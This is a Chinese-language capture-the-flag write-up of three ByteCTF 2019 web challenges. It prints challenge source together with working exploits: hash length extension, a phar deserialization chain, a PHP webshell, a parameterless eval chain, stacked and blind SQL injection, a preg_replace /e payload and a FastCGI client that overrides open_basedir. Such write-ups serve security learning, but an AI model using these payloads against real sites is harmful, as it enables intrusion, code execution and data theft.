EZcms
https://www.cnblogs.com/wfzWebSecuity/p/11527392.html
https://github.com/glzjin/bytectf_2019_ezcms
http://www.lovei.org/archives/bytectf2019.html
考點為hash長度擴展+phar反序列化
首先掃描一下目錄,可以發現源碼泄露。掃了一眼,其中config.php
如下:
<?php
session_start();
error_reporting(0);
$sandbox_dir = 'sandbox/'. md5($_SERVER['REMOTE_ADDR']);
global $sandbox_dir;
function login(){
$secret = "********";
setcookie("hash", md5($secret."adminadmin"));
return 1;
}
function is_admin(){
$secret = "********";
$username = $_SESSION['username'];
$password = $_SESSION['password'];
if ($username == "admin" && $password != "admin"){
if ($_COOKIE['user'] === md5($secret.$username.$password)){
return 1;
}
}
return 0;
}
class Check{
public $filename;
function __construct($filename)
{
$this->filename = $filename;
}
function check(){
$content = file_get_contents($this->filename);
$black_list = ['system','eval','exec','+','passthru','`','assert'];
foreach ($black_list as $k=>$v){
if (stripos($content, $v) !== false){
die("your file make me scare");
}
}
return 1;
}
}
class File{
public $filename;
public $filepath;
public $checker;
function __construct($filename, $filepath)
{
$this->filepath = $filepath;
$this->filename = $filename;
}
public function view_detail(){
if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
die("nonono~");
}
$mine = mime_content_type($this->filepath);
$store_path = $this->open($this->filename, $this->filepath);
$res['mine'] = $mine;
$res['store_path'] = $store_path;
return $res;
}
public function open($filename, $filepath){
$res = "$filename is in $filepath";
return $res;
}
function __destruct()
{
if (isset($this->checker)){
$this->checker->upload_file();
}
}
}
class Admin{
public $size;
public $checker;
public $file_tmp;
public $filename;
public $upload_dir;
public $content_check;
function __construct($filename, $file_tmp, $size)
{
$this->upload_dir = 'sandbox/'.md5($_SERVER['REMOTE_ADDR']);
if (!file_exists($this->upload_dir)){
mkdir($this->upload_dir, 0777, true);
}
if (!is_file($this->upload_dir.'/.htaccess')){
file_put_contents($this->upload_dir.'/.htaccess', 'lolololol, i control all');
}
$this->size = $size;
$this->filename = $filename;
$this->file_tmp = $file_tmp;
$this->content_check = new Check($this->file_tmp);
$profile = new Profile();
$this->checker = $profile->is_admin();
}
public function upload_file(){
if (!$this->checker){
die('u r not admin');
}
$this->content_check -> check();
$tmp = explode(".", $this->filename);
$ext = end($tmp);
if ($this->size > 204800){
die("your file is too big");
}
move_uploaded_file($this->file_tmp, $this->upload_dir.'/'.md5($this->filename).'.'.$ext);
}
public function __call($name, $arguments)
{
}
}
class Profile{
public $username;
public $password;
public $admin;
public function is_admin(){
$this->username = $_SESSION['username'];
$this->password = $_SESSION['password'];
$secret = "********";
if ($this->username === "admin" && $this->password != "admin"){
if ($_COOKIE['user'] === md5($secret.$this->username.$this->password)){
return 1;
}
}
return 0;
}
function __call($name, $arguments)
{
$this->admin->open($this->username, $this->password);
}
}
hash長度擴展
很簡單,hashPump
搞一下就ok了,然后再在請求頭中放上新的cookie
。
然后應該是文件上傳了,但是沒有解析點,所以還是利用.htaccess
來解決,但是代碼中已經有了.htaccess
,所以我們需要覆蓋掉已有的文件來重新寫一個.htaccess
。所以需要phar
反序列化來完成文件的覆蓋。
所以我們需要找到文件操作的函數,來觸發phar
反序列化。
在view.php
中不難發現,view_detail
方法中有用到mime_content_type
phar反序列化的利用鏈:
- 構造一個
File
類,__construct
為將checker
指向一個Profile
對象,如下:
class File{
public $filename;
public $filepath;
public $checker;
function __construct($filename, $filepath)
{
$this->checker = new Profile();
}
}
- 此時服務器反序列化
File
對象的時候,會調用File
的__destruct
,即
function __destruct()
{
if (isset($this->checker)){
$this->checker->upload_file();
}
}
- 但是
Profile
類并沒有upload_file()
,在對象中調用一個不可訪問方法時,__call就會被調用
function __call($name, $arguments)
{
$this->admin->open($this->username, $this->password);
}
- 我們也可以重新構造一個
Profile
類,來將$admin,$username,$password
全部重寫
class Profile{
public $username;
public $password;
public $admin;
function __construct(){
$this->admin =
$this->username =
$this->password =
}
}
- 因為三個變量都是可控的,所以我們可以通過控制
admin
變量來調用所有內置類的open
方法。fuzz
一下,所有有open
方法的類(以后遇到需要用到內置類的同名方法時也能夠進行快速fuzz)
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$arr_func = get_class_methods($class);
foreach ($arr_func as $func) {
if($func == "open"){
echo $class . " " .$func."\n";
}
}
}
?>
其中ziparchive以及ziparchive::open
- 所以
Profile
中三個變量分別為
class Profile{
public $username;
public $password;
public $admin;
function __construct(){
$this->admin = new ZipArchive();
$this->username = "/var/www/html/sandbox/xxx/.htaccess";
$this->password = ZIPARCHIVE::OVERWRITE;
}
}
所以最后的exp為
<?php
class File{
public $filename;
public $filepath;
public $checker;
function __construct($filename, $filepath)
{
$this->checker = new Profile();
}
}
class Profile{
public $username;
public $password;
public $admin;
function __construct(){
$this->admin = new ZipArchive();
$this->username = "/var/www/html/sandbox/xxx/.htaccess";
$this->password = ZIPARCHIVE::OVERWRITE;
}
}
$exception = new File();
@unlike('vul.phar');
$phar = new Phar("vul.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("<?php__HALT_COMPILER(); ?>");
$phar->setMetadata($exception);
$phar->stopBuffering();
?>
然后是上傳木馬的時候會進行檢查關鍵詞
function check(){
$content = file_get_contents($this->filename);
$black_list = ['system','eval','exec','+','passthru','`','assert'];
foreach ($black_list as $k=>$v){
if (stripos($content, $v) !== false){
die("your file make me scare");
}
}
return 1;
}
關鍵詞用.
連接即可。
wp
訪問頁面,獲得hash
,使用hashpump
將
\
替換成%
,登錄時賬號為admin
,密碼為admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00zz
到
upload.php
頁面,上傳木馬文件
<?php
$a="syste";
$b="m";
$c=$a.$b;
$d=$c($_REQUEST['a']);
?>
上傳時將cookie
中的hash
改成user=f03071a6479f4b51edf874f785c28909
利用剛才的exp.php
生成vul.phar
文件,這里會報錯表示phar readonly
,需要去php.ini
中將phar readonly
選項前面注釋去掉,且設為Off
,生成的vul.phar
改成vul.txt
再次上傳vul.txt
,同樣要更改cookie
利用filter繞過對phar的過濾 (見suctf2019),上傳之后利用php://filter/resource=phar://
解析,之后可以發現.htaccess
已經消失
view.php?filename=2dab927c19ee49f27ba22d578e2c28c5.txt&filepath=php://filter/resource=phar://./sandbox/a76ab7c1a624927bc33996bdb8e5d69f/2dab927c19ee49f27ba22d578e2c28c5.txt
這時候不能訪問
upload.php
,不然又會重新生成.htaccess
文件。直接訪問木馬文件,得到shell
boring-code
http://www.guildhab.top/?p=1077
https://www.cnblogs.com/wfzWebSecuity/p/11527392.html
https://xz.aliyun.com/t/6305#toc-3
http://www.zyzilxy.top:1220/2019/09/08/bytectf-web-wpmisc-wp/
題目源碼如下:
<?php
function is_valid_url($url) {
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/data:\/\//i', $url)) {
return false;
}
return true;
}
return false;
}
if (isset($_POST['url'])){
$url = $_POST['url'];
if (is_valid_url($url)) {
$r = parse_url($url);
if (preg_match('/baidu\.com$/', $r['host'])) {
$code = file_get_contents($url);
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
} else {
echo "error: host not allowed";
}
} else {
echo "error: invalid url";
}
}else{
highlight_file(__FILE__);
}
代碼分析
可以發現大致可以分為兩層:
- 如何構造一個可以繞過
filter_var()
、preg_match()
、file_get_contents()
的URL - 如何構造一個無參的,類似
a(b(c))
這個樣式的shell
首先我們先考慮第一層
繞過filter_var()
、preg_match()
、file_get_contents()
,可以參考:
- https://www.cnblogs.com/wfzWebSecuity/p/11139832.html
- https://v0w.top/2018/11/23/SSRF-notes/#2-parse-url%E4%B8%8Elibcurl%E5%AF%B9curl%E7%9A%84%E8%A7%A3%E6%9E%90%E5%B7%AE%E5%BC%82
上述文章主要針對exec(curl -s -v)
以及file_get_contents()
這兩種請求方式進行分析:
其中exec(curl -s -v)
,這種請求方式的,繞過filter_var()
、preg_match()
主要靠parse_url()
與 libcurl
對url
的解析差異。
但是如果是用file_get_contents()
來請求url
,我們只知道一種方式同時繞過上述三個函數,就是利用data://
偽協議來實施XSS,payload可以為data://baidu.com/plain;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pgo=
但是data
偽協議被過濾了。
目前我知道有幾種方法:
- 氪金購買一個xxxbaidu.com的域名
- 使用百度網盤來生成惡意代碼的下載鏈接,來繞過百度域名的限制
上傳一個惡意腳本到網盤,使用f12
,可以在network
里找到文件鏈接
可以繞過第一層的限制
https://pcsdata.baidu.com/file/56f6fccae921d07f3c16ec128f50ccc5?fid=1512747330-250528-756792909588834&rt=pr&sign=FDtAER-DCb740ccc5511e5e8fedcff06b081203-GH3j%2FCsuxRONbQnQvsCxyst4cb4%3D&expires=8h&chkv=0&chkbd=0&chkpc=&dp-logid=6277347536586414989&dp-callid=0&dstime=1569656941&r=291388556&vip=0&use=1&channel=chunlei&web=1&app_id=250528&bdstoken=b471aadce60e975ee5748587faa5e9e3&logid=MTU2OTY1Njk0MTk1MDAuMzk1MzE0MTE3MzI2NzI0Nw==&clienttype=0
- 百度
url
的跳轉
接下來來看第二層
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
要求構造一個無參的shell,類似a(b(c()))
這種形式,這里可以參考一葉飄零師傅,但是題目中又把帶et
全過濾了,所以有get
的函數全部不能使用。
題目提示說flag
在上層index.php
中,即整個網站的目錄結構為
fuzz一下能用的函數
<?php
$arr_fun = array();
$j = 0;
for($i=0;$i<count(get_defined_functions()['internal']);$i++){
if(!preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i',get_defined_functions()['internal'][$i])){
$arr_fun[$j]=get_defined_functions()['internal'][$i];
$j++;
}
}
var_dump($arr_fun)
?>
能用的卻不多。
首先如果想要讀取上層目錄的文件,
..
是不可少的。我們需要知道的是scandir(getcwd())
這個函數會將當前目錄下所有文件都放在一個數組中返回,但是getcwd()
使用不了,我們可以用.
來表示當前目錄,如下圖:其中數組第0個元素是.
,而第1個元素就是..
,所以我們可以用next(scandir('.'))
來獲取..
。
因為不能帶參數,所以
.
也不行,所以我們有沒有無參的函數可以獲得.
呢?這里有兩種方法:
-
localeconv()
返回一個包含本地數字及貨幣格式信息的數組。其中第0個就是.
這時候再結合current()
或者pos()
來獲得數組指定元素,默認就是第0個。 crypt(serialize(array()))
首先定義一個數組 , 然后對其進行序列化操作 , 輸出序列化字符串 , 這里沒什么問題 . 然后就用到一個非常關鍵的函數 :crypt()
。該函數是hash函數,主要是,上述結果中有可能會在字符串結尾產生一個.
。然后我們可以再利用chr(ord(strrev()))
,其中chr(ord())
可以將字符串的第一個字符取出來。這樣我們也可以完成.
的生成
ord() : 解析 string 二進制值第一個字節為 0 到 255 范圍的無符號整型類型( 不嚴禁的說就是將字符串第一個字符轉換為 ASCII 編碼 )
chr() : 返回相對應于 ASCII 所0指定的單個字符 , 該函數與 ord() 是對應的~
接下來是目錄切換
chdir()
來完成目錄的轉換,但是chdir()
返回值是bool
,緊接著三個方法:
- 我們需要接下來的函數是輸入
bool
,輸出.
來讓我們可以進行文件讀取的。
這里需要用到time()
+localtime()
函數ByteCTF 2019 WriteUp By W&M
time() : 返回自從 Unix 紀元( 格林威治時間 1970 年 1 月 1 日 00:00:00 )到當前時間的秒數 , 也就是返回一個時間戳
localtime() : 以數值數組和關聯數組的形式輸出本地時間 .
time()
的參數為 void 也就是說引入任意的參數都不會影響 , 其輸出( 不用去管那個警告 ) , 但是返回的時間戳無法成為" . "
localtime()
數組,可以提取出秒數的值,用chr轉換為字符串.
,即在 46s 時 chr(pos(localtime()))
就會返回 ” . ”
再根據
readfile(end('.'))
讀取當前目錄最后一個文件,即index.php
,所以最后payload
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
- 上述
payload
需要多發幾次,讓時間剛好卡在46秒。除了用時間函數來獲取46這個數字之外,還可以用各種數學的方法來獲得46。ByteCTF 2019 WriteUp Kn0ck
核心思路是:phpvesion()
會獲取當前的php版本號,然后使用floor()
來取得第一個數字(7)。(反正我只能說真的是神仙
給個payload
ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))
sqrt() : 返回一個數字的平方根
tan() : 返回一個數字的正切
cosh() : 返回一個數字的雙曲余弦
sinh() : 返回一個數字的雙曲正弦
ceil() : 返回不小于一個數字的下一個整數 , 也就是向上取整
再通過
chr()
函數就可以返回ASCII
編碼為 46 的字符 , 也就為.
, 后面的步驟就和之前一樣 , 跳轉到根目錄 , 然后讀取index.php
文件。
- 剛才獲得
chdir()
返回的bool
,然后可以利用if
語句來進行當前目錄下的文件的讀取,payload
如下:
if(chdir(next(scandir(pos(localeconv())))))readfile(end(scandir(pos(localeconv()))));
babyblog
老規矩,掃描得到源碼
漏洞分析
首先注意到下面兩段代碼,分別來自writing.php
和edit.php
if(isset($_POST['title']) && isset($_POST['content'])){
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql->query("insert into article (userid,title,content) values (" . $_SESSION['id'] . ", '$title','$content');");
exit("<script>alert('Posted successfully.');location.href='index.php';</script>");
}else{
include("templates/writing.html");
exit();
}
if($_SESSION['id'] == $row['userid']){
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql->query("update article set title='$title',content='$content' where title='" . $row['title'] . "';");
exit("<script>alert('Edited successfully.');location.href='index.php';</script>");
}else{
exit("<script>alert('You do not have permission.');history.go(-1);</script>");
}
第一段代碼是將title
和content
經過addslashes()
過濾之后插入數據庫之中。
$sql->query("insert into article (userid,title,content) values (" . $_SESSION['id'] . ", '$title','$content');");
第二段代碼直接將數據庫的title
查詢出來直接拼接到update
語句中
$sql->query("update article set title='$title',content='$content' where title='" . $row['title'] . "';");
這里存在一個二次注入,我們可以將payload
通過writing.php
寫入庫中,再通過editing.php
重新拼接起來。
但是config.php
中將post
和get
方法所傳遞的參數給加了一層waf
function SafeFilter(&$arr){
foreach ($arr as $key => $value) {
if (!is_array($value)){
$filter = "benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\")|(\+|-|~|!|@:=|" . urldecode('%0B') . ").+?)FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
if(preg_match('/' . $filter . '/is', $value)){
exit("<script>alert('Failure!Do not use sensitive words.');location.href='index.php';</script>");
}
}else{
SafeFilter($arr[$key]);
}
}
}
$_GET && SafeFilter($_GET);
$_POST && SafeFilter($_POST);
這里我們可以根據這里的正則,在本地測試一下自己的代碼是否能過waf
<?php
function SafeFilter(&$arr){
foreach ($arr as $key => $value) {
if (!is_array($value)){
$filter = "benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\")|(\+|-|~|!|@:=|" . urldecode('%0B') . ").+?)FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
if(preg_match('/' . $filter . '/is', $value)){
echo preg_replace('/'.$filter.'/is',"@@@",$value);
echo "1111";
}
else{
echo "222";
}
}else{
SafeFilter($arr[$key]);
}
}
}
$_GET && SafeFilter($_GET);
?>
其中我們知道,當我們注冊一個用戶的時候,我們的isvip
屬性是默認設為0的
$sql->query("insert into users (username,password,isvip) values ('$username', '$password',0);");
這里可以用兩種方法得到isvip
值為1的用戶。
- PDO在php5.3以后是支持堆疊查詢,使用堆疊注入。payload如下:
Err0rzz';SET @SQL=0x757064617465207573657273207365742069737669703d3120776865726520757365726e616d653d2245727230727a7a223b;PREPARE a FROM @SQL;EXECUTE a;#
其中那串十六進制是update users set isvip=1 where username="Err0rzz";
- 該方法需要數據庫中原本就有
isvip
為1的用戶,從而注得賬號密碼,這里利用異或注入1'^(ascii(substr((select(group_concat(schema_name)) from (information_schema.schemata)),1,1))>1)^'1
,完整的注入腳本https://xz.aliyun.com/t/6324#toc-5
接下來可以看到replace.php
中有個可以代碼執行的函數preg_replace(),
$content = addslashes(preg_replace("/" . $_POST['find'] . "/", $_POST['replace'], $row['content']));
$replace
會被當做代碼執行,而且因為php版本5.4以下都可以用%00
來截斷,所以我們可以用%00
來截斷掉
"/" . $_POST['find'] . "/"
后面的那個/
所以最后的payload
如下:
$_POST['find']=.*/e%00
$_POST['replace']=phpinfo();
接下來通過
copy
命令進行shell
寫入<?php
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}
?>
包含該文件可以繞過open_dir
的限制,瀏覽到根目錄文件
用同樣的方法上傳
FastCGI
腳本
<?php
class TimedOutException extends Exception {
}
class ForbiddenException extends Exception {
}
class Client {
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
const REQ_STATE_WRITTEN = 1;
const REQ_STATE_OK = 2;
const REQ_STATE_ERR = 3;
const REQ_STATE_TIMED_OUT = 4;
private $_sock = null;
private $_host = null;
private $_port = null;
private $_keepAlive = false;
private $_requests = array();
private $_persistentSocket = false;
private $_connectTimeout = 5000;
private $_readWriteTimeout = 5000;
public function __construct( $host, $port ) {
$this->_host = $host;
$this->_port = $port;
}
public function setKeepAlive( $b ) {
$this->_keepAlive = (boolean) $b;
if ( ! $this->_keepAlive && $this->_sock ) {
fclose( $this->_sock );
}
}
public function getKeepAlive() {
return $this->_keepAlive;
}
public function setPersistentSocket( $b ) {
$was_persistent = ( $this->_sock && $this->_persistentSocket );
$this->_persistentSocket = (boolean) $b;
if ( ! $this->_persistentSocket && $was_persistent ) {
fclose( $this->_sock );
}
}
public function getPersistentSocket() {
return $this->_persistentSocket;
}
public function setConnectTimeout( $timeoutMs ) {
$this->_connectTimeout = $timeoutMs;
}
public function getConnectTimeout() {
return $this->_connectTimeout;
}
public function setReadWriteTimeout( $timeoutMs ) {
$this->_readWriteTimeout = $timeoutMs;
$this->set_ms_timeout( $this->_readWriteTimeout );
}
public function getReadWriteTimeout() {
return $this->_readWriteTimeout;
}
private function set_ms_timeout( $timeoutMs ) {
if ( ! $this->_sock ) {
return false;
}
return stream_set_timeout( $this->_sock, floor( $timeoutMs / 1000 ), ( $timeoutMs % 1000 ) * 1000 );
}
private function connect() {
if ( ! $this->_sock ) {
if ( $this->_persistentSocket ) {
$this->_sock = pfsockopen( $this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000 );
} else {
$this->_sock = fsockopen( $this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000 );
}
if ( ! $this->_sock ) {
throw new Exception( 'Unable to connect to FastCGI application: ' . $errstr );
}
if ( ! $this->set_ms_timeout( $this->_readWriteTimeout ) ) {
throw new Exception( 'Unable to set timeout on socket' );
}
}
}
private function buildPacket( $type, $content, $requestId = 1 ) {
$clen = strlen( $content );
return chr( self::VERSION_1 ) /* version */
. chr( $type ) /* type */
. chr( ( $requestId >> 8 ) & 0xFF ) /* requestIdB1 */
. chr( $requestId & 0xFF ) /* requestIdB0 */
. chr( ( $clen >> 8 ) & 0xFF ) /* contentLengthB1 */
. chr( $clen & 0xFF ) /* contentLengthB0 */
. chr( 0 ) /* paddingLength */
. chr( 0 ) /* reserved */
. $content; /* content */
}
private function buildNvpair( $name, $value ) {
$nlen = strlen( $name );
$vlen = strlen( $value );
if ( $nlen < 128 ) {
/* nameLengthB0 */
$nvpair = chr( $nlen );
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr( ( $nlen >> 24 ) | 0x80 ) . chr( ( $nlen >> 16 ) & 0xFF ) . chr( ( $nlen >> 8 ) & 0xFF ) . chr( $nlen & 0xFF );
}
if ( $vlen < 128 ) {
/* valueLengthB0 */
$nvpair .= chr( $vlen );
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr( ( $vlen >> 24 ) | 0x80 ) . chr( ( $vlen >> 16 ) & 0xFF ) . chr( ( $vlen >> 8 ) & 0xFF ) . chr( $vlen & 0xFF );
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
private function readNvpair( $data, $length = null ) {
$array = array();
if ( $length === null ) {
$length = strlen( $data );
}
$p = 0;
while ( $p != $length ) {
$nlen = ord( $data{$p ++} );
if ( $nlen >= 128 ) {
$nlen = ( $nlen & 0x7F << 24 );
$nlen |= ( ord( $data{$p ++} ) << 16 );
$nlen |= ( ord( $data{$p ++} ) << 8 );
$nlen |= ( ord( $data{$p ++} ) );
}
$vlen = ord( $data{$p ++} );
if ( $vlen >= 128 ) {
$vlen = ( $nlen & 0x7F << 24 );
$vlen |= ( ord( $data{$p ++} ) << 16 );
$vlen |= ( ord( $data{$p ++} ) << 8 );
$vlen |= ( ord( $data{$p ++} ) );
}
$array[ substr( $data, $p, $nlen ) ] = substr( $data, $p + $nlen, $vlen );
$p += ( $nlen + $vlen );
}
return $array;
}
private function decodePacketHeader( $data ) {
$ret = array();
$ret['version'] = ord( $data{0} );
$ret['type'] = ord( $data{1} );
$ret['requestId'] = ( ord( $data{2} ) << 8 ) + ord( $data{3} );
$ret['contentLength'] = ( ord( $data{4} ) << 8 ) + ord( $data{5} );
$ret['paddingLength'] = ord( $data{6} );
$ret['reserved'] = ord( $data{7} );
return $ret;
}
private function readPacket() {
if ( $packet = fread( $this->_sock, self::HEADER_LEN ) ) {
$resp = $this->decodePacketHeader( $packet );
$resp['content'] = '';
if ( $resp['contentLength'] ) {
$len = $resp['contentLength'];
while ( $len && ( $buf = fread( $this->_sock, $len ) ) !== false ) {
$len -= strlen( $buf );
$resp['content'] .= $buf;
}
}
if ( $resp['paddingLength'] ) {
$buf = fread( $this->_sock, $resp['paddingLength'] );
}
return $resp;
} else {
return false;
}
}
public function getValues( array $requestedInfo ) {
$this->connect();
$request = '';
foreach ( $requestedInfo as $info ) {
$request .= $this->buildNvpair( $info, '' );
}
fwrite( $this->_sock, $this->buildPacket( self::GET_VALUES, $request, 0 ) );
$resp = $this->readPacket();
if ( $resp['type'] == self::GET_VALUES_RESULT ) {
return $this->readNvpair( $resp['content'], $resp['length'] );
} else {
throw new Exception( 'Unexpected response type, expecting GET_VALUES_RESULT' );
}
}
public function request( array $params, $stdin ) {
$id = $this->async_request( $params, $stdin );
return $this->wait_for_response( $id );
}
public function async_request( array $params, $stdin ) {
$this->connect();
// Pick random number between 1 and max 16 bit unsigned int 65535
$id = mt_rand( 1, ( 1 << 16 ) - 1 );
// Using persistent sockets implies you want them keept alive by server!
$keepAlive = intval( $this->_keepAlive || $this->_persistentSocket );
$request = $this->buildPacket( self::BEGIN_REQUEST
, chr( 0 ) . chr( self::RESPONDER ) . chr( $keepAlive ) . str_repeat( chr( 0 ), 5 )
, $id
);
$paramsRequest = '';
foreach ( $params as $key => $value ) {
$paramsRequest .= $this->buildNvpair( $key, $value, $id );
}
if ( $paramsRequest ) {
$request .= $this->buildPacket( self::PARAMS, $paramsRequest, $id );
}
$request .= $this->buildPacket( self::PARAMS, '', $id );
if ( $stdin ) {
$request .= $this->buildPacket( self::STDIN, $stdin, $id );
}
$request .= $this->buildPacket( self::STDIN, '', $id );
if ( fwrite( $this->_sock, $request ) === false || fflush( $this->_sock ) === false ) {
$info = stream_get_meta_data( $this->_sock );
if ( $info['timed_out'] ) {
throw new TimedOutException( 'Write timed out' );
}
// Broken pipe, tear down so future requests might succeed
fclose( $this->_sock );
throw new Exception( 'Failed to write request to socket' );
}
$this->_requests[ $id ] = array(
'state' => self::REQ_STATE_WRITTEN,
'response' => null
);
return $id;
}
public function wait_for_response( $requestId, $timeoutMs = 0 ) {
if ( ! isset( $this->_requests[ $requestId ] ) ) {
throw new Exception( 'Invalid request id given' );
}
if ( $this->_requests[ $requestId ]['state'] == self::REQ_STATE_OK
|| $this->_requests[ $requestId ]['state'] == self::REQ_STATE_ERR
) {
return $this->_requests[ $requestId ]['response'];
}
if ( $timeoutMs > 0 ) {
// Reset timeout on socket for now
$this->set_ms_timeout( $timeoutMs );
} else {
$timeoutMs = $this->_readWriteTimeout;
}
$startTime = microtime( true );
do {
$resp = $this->readPacket();
if ( $resp['type'] == self::STDOUT || $resp['type'] == self::STDERR ) {
if ( $resp['type'] == self::STDERR ) {
$this->_requests[ $resp['requestId'] ]['state'] = self::REQ_STATE_ERR;
}
$this->_requests[ $resp['requestId'] ]['response'] .= $resp['content'];
}
if ( $resp['type'] == self::END_REQUEST ) {
$this->_requests[ $resp['requestId'] ]['state'] = self::REQ_STATE_OK;
if ( $resp['requestId'] == $requestId ) {
break;
}
}
if ( microtime( true ) - $startTime >= ( $timeoutMs * 1000 ) ) {
// Reset
$this->set_ms_timeout( $this->_readWriteTimeout );
throw new Exception( 'Timed out' );
}
} while ( $resp );
if ( ! is_array( $resp ) ) {
$info = stream_get_meta_data( $this->_sock );
// We must reset timeout but it must be AFTER we get info
$this->set_ms_timeout( $this->_readWriteTimeout );
if ( $info['timed_out'] ) {
throw new TimedOutException( 'Read timed out' );
}
if ( $info['unread_bytes'] == 0
&& $info['blocked']
&& $info['eof'] ) {
throw new ForbiddenException( 'Not in white list. Check listen.allowed_clients.' );
}
throw new Exception( 'Read failed' );
}
// Reset timeout
$this->set_ms_timeout( $this->_readWriteTimeout );
switch ( ord( $resp['content']{4} ) ) {
case self::CANT_MPX_CONN:
throw new Exception( 'This app can't multiplex [CANT_MPX_CONN]' );
break;
case self::OVERLOADED:
throw new Exception( 'New request rejected; too busy [OVERLOADED]' );
break;
case self::UNKNOWN_ROLE:
throw new Exception( 'Role value not known [UNKNOWN_ROLE]' );
break;
case self::REQUEST_COMPLETE:
return $this->_requests[ $requestId ]['response'];
}
}
}
$client = new Client("unix:///tmp/php-cgi.sock", -1);
$php_value = "open_basedir = /";
$filepath = '/tmp/readflag.php';
$content = 'Err0rzz';
echo $client->request(
array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SERVER_SOFTWARE' => 'php/fcgiclient',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9985',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'mag-tured',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_TYPE' => 'application/x-www-form-urlencoded',
'CONTENT_LENGTH' => strlen( $content ),
'PHP_VALUE' => $php_value,
),
$content
);
腳本中php_value
的值是我們的FastCGI
要傳給FPM
的值用來修改php.ini
,并且根據SCRIPT_FILENAME
對php
文件進行執行/tmp/readflag.php
。
同時腳本還要修改的地方,就是使用套接字協議去加載socket
。Nginx
連接fastcgi
的方式有2種:TCP
和unix domain socket
,腳本使用的即第二種形式。根據不同的php版本,找不同的fastcgi
的套接字。在0CTF
的題目中,大家用的是php7.2
默認的FPM套接字/run/php/php7.3-fpm.sock
。其實FastCGI/FPM套接字都可以用。
